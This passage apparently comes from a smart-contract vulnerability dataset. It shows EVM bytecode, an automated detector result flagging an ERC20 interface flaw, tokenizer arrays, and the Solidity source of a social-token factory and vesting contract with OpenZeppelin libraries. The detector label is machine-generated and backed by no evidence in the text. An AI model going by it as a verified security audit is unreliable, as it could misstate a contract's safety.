ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110ce57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561115c57600080fd5b6111a5600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826114e8565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611231600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611501565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60066020528060005260406000206000915090505481565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561134557600080fd5b60008211151561135457600080fd5b61139d600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e8565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611429600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611501565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0836040518082815260200191505060405180910390a260019050919050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008282111515156114f657fe5b818303905092915050565b60008082840190508381101580156115195750828110155b151561152157fe5b80915050929150505600a165627a7a72305820ba53ff8358aa9a502dbaf84625fb721649c8a73a9366d968e70b40fa89482f5a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
27009,
3540,
2692,
2620,
27717,
16932,
28154,
2620,
2278,
21472,
2692,
22932,
28154,
20958,
2575,
27717,
2050,
17914,
16048,
26187,
16147,
27009,
16147,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
1013,
1008,
1008,
1008,
8785,
3136,
2007,
3808,
14148,
1008,
1013,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
4305,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,532 | 0x954Cdee7Def963E6286603cf0a8C9D60bf7973a2 | // SPDX-License-Identifier: GPL-3.0
/*
* Copyright (C) 2021 TART K.K.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see https://www.gnu.org/licenses/.
*/
pragma solidity =0.7.6;
interface TokenFactoryInterfaceV1 {
event UpdateOperator(address operator);
event UpdateDonatee(address donatee);
event UpdateCreatorFund(address creatorFund);
event UpdateTreasuryVester(address treasuryVester);
event CreateToken (
address indexed token,
address indexed creator
);
function updateOperator(address newOperator) external;
function updateDonatee(address newDonatee) external;
function updateCreatorFund(address newCreatorFund) external;
function updateTreasuryVester(address treasuryVester) external;
function createToken(
string memory name,
string memory symbol,
uint256 donationRatio
) external;
function createExclusiveToken(
address creator,
string memory name,
string memory symbol,
uint256 operationRatio,
uint256 donationRatio,
uint256 creatorFundRatio,
uint256 vestingYears
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
* Copyright (C) 2021 TART K.K.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see https://www.gnu.org/licenses/.
*/
pragma solidity =0.7.6;
interface TreasuryVesterInterfaceV1 {
function addVesting(
address token,
address recipient,
uint256 vestingYears
) external;
function remainingAmountOf(address token) external view returns (uint256);
function redeemableAmountOf(address token) external view returns (uint256);
function redeem(address token) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
* Copyright (C) 2021 TART K.K.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see https://www.gnu.org/licenses/.
*/
pragma solidity =0.7.6;
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
library SocialTokenConstants {
uint256 public constant totalSupply = 10000000 ether;
uint256 public constant hundredPercent = 10000;
uint256 public constant distributionRatio = 2000;
uint256 public constant vestingRatio = 8000;
}
contract SocialToken is Initializable, ERC20Burnable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor() ERC20("", "") {}
function name() public override view virtual returns (string memory) {
return _name;
}
function symbol() public override view virtual returns (string memory) {
return _symbol;
}
function decimals() public override view virtual returns (uint8) {
return _decimals;
}
function initialize(
string memory tokenName,
string memory tokenSymbol,
address creator,
address operator,
address donatee,
address treasuryVester,
address creatorFund,
uint256 operatorRatio,
uint256 donateeRatio,
uint256 creatorFundRatio
) public initializer {
_name = tokenName;
_symbol = tokenSymbol;
_decimals = 18;
if (operatorRatio == 0) {
_mint(
creator,
SocialTokenConstants.totalSupply
.mul(SocialTokenConstants.distributionRatio)
.div(SocialTokenConstants.hundredPercent)
);
} else {
_mint(
creator,
SocialTokenConstants.totalSupply
.mul(SocialTokenConstants.distributionRatio.sub(operatorRatio))
.div(SocialTokenConstants.hundredPercent)
);
_mint(
operator,
SocialTokenConstants.totalSupply
.mul(operatorRatio)
.div(SocialTokenConstants.hundredPercent)
);
}
_mint(
treasuryVester,
SocialTokenConstants.totalSupply
.mul(SocialTokenConstants.vestingRatio.sub(donateeRatio).sub(creatorFundRatio))
.div(SocialTokenConstants.hundredPercent)
);
if (donateeRatio != 0) {
_mint(
donatee,
SocialTokenConstants.totalSupply
.mul(donateeRatio)
.div(SocialTokenConstants.hundredPercent)
);
}
if (SocialTokenConstants.totalSupply > totalSupply()) {
_mint(
creatorFund,
SocialTokenConstants.totalSupply - totalSupply()
);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
* Copyright (C) 2021 TART K.K.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see https://www.gnu.org/licenses/.
*/
pragma solidity =0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
import "../interfaces/TokenFactoryInterfaceV1.sol";
import "../issuance/SocialToken.sol";
import "../issuance/TreasuryVester.sol";
contract TokenFactory is TokenFactoryInterfaceV1, Ownable {
address private operator;
address private donatee;
address private creatorFund;
address private treasuryVester;
address private socialTokenImplementation;
constructor(
address _operator,
address _donatee,
address _creatorFund,
address _treasuryVester
) {
operator = _operator;
donatee = _donatee;
creatorFund = _creatorFund;
treasuryVester = _treasuryVester;
socialTokenImplementation = address(new SocialToken());
}
function updateOperator(address newOperator) public override onlyOwner {
operator = newOperator;
emit UpdateOperator(newOperator);
}
function updateDonatee(address newDonatee) public override onlyOwner {
donatee = newDonatee;
emit UpdateDonatee(newDonatee);
}
function updateCreatorFund(address newCreatorFund) public override onlyOwner {
creatorFund = newCreatorFund;
emit UpdateCreatorFund(newCreatorFund);
}
function updateTreasuryVester(address newTreasuryVester) public override onlyOwner {
treasuryVester = newTreasuryVester;
emit UpdateTreasuryVester(newTreasuryVester);
}
/**
* @param donationRatio percentage with decimal 2
* Pass a percent multiplied by 100. e.g. 10% => 1000
* When you provide value such as 1000,
* donatee and creator fund will receive 10% of token respectively.
*/
function createToken(
string memory name,
string memory symbol,
uint256 donationRatio
) external override {
createActualToken(
msg.sender,
name,
symbol,
0,
donationRatio,
donationRatio,
3
);
}
/**
* @param operatorRatio percentage with decimal 2
* @param donateeRatio percentage with decimal 2
* @param creatorFundRatio percentage with decimal 2
* Pass a percent multiplied by 100. e.g. 10% => 1000
* @param vestingYears percentage with decimal 0
*/
function createExclusiveToken(
address creator,
string memory name,
string memory symbol,
uint256 operatorRatio,
uint256 donateeRatio,
uint256 creatorFundRatio,
uint256 vestingYears
) external override {
createActualToken(
creator,
name,
symbol,
operatorRatio,
donateeRatio,
creatorFundRatio,
vestingYears
);
}
function createActualToken(
address creator,
string memory name,
string memory symbol,
uint256 operatorRatio,
uint256 donateeRatio,
uint256 creatorFundRatio,
uint256 vestingYears
) private {
address token = Clones.clone(socialTokenImplementation);
SocialToken(token).initialize(
name,
symbol,
creator,
operator,
donatee,
treasuryVester,
creatorFund,
operatorRatio,
donateeRatio,
creatorFundRatio
);
TreasuryVester(treasuryVester).addVesting(
token,
creator,
vestingYears
);
emit CreateToken(
token,
creator
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
* Copyright (C) 2021 TART K.K.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see https://www.gnu.org/licenses/.
*/
pragma solidity =0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/TreasuryVesterInterfaceV1.sol";
contract TreasuryVester is TreasuryVesterInterfaceV1, Ownable {
using SafeMath for uint256;
mapping(address => bool) public vestingTokens;
mapping(address => uint256) public tokensVestingAmount;
mapping(address => address) public tokensRecipient;
mapping(address => uint256) public tokensVestingStart;
mapping(address => uint256) public tokensVestingEnd;
mapping(address => uint256) public tokensLastUpdate;
function addVesting(
address token,
address recipient,
uint256 vestingYears
) external override onlyOwner {
require(vestingYears > 0, "Vesting years should be positive");
require(!vestingTokens[token], "Token is already registered");
vestingTokens[token] = true;
tokensVestingAmount[token] = remainingAmountOf(token);
tokensRecipient[token] = recipient;
tokensVestingStart[token] = block.timestamp;
tokensVestingEnd[token] = block.timestamp.add(vestingYears.mul(365 days));
tokensLastUpdate[token] = block.timestamp;
}
function redeem(address token) external override {
IERC20 socialToken = IERC20(token);
uint256 amount = redeemableAmountOf(token);
tokensLastUpdate[token] = block.timestamp;
socialToken.transfer(tokensRecipient[token], amount);
}
function remainingAmountOf(address token) public override view returns (uint256) {
IERC20 socialToken = IERC20(token);
return socialToken.balanceOf(address(this));
}
function redeemableAmountOf(address token) public override view returns (uint256){
uint256 amount;
if (block.timestamp >= tokensVestingEnd[token]) {
IERC20 socialToken = IERC20(token);
amount = socialToken.balanceOf(address(this));
} else {
amount = tokensVestingAmount[token]
.mul(block.timestamp.sub(tokensLastUpdate[token]))
.div(tokensVestingEnd[token].sub(tokensVestingStart[token]));
}
return amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address master) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `master` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(master, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
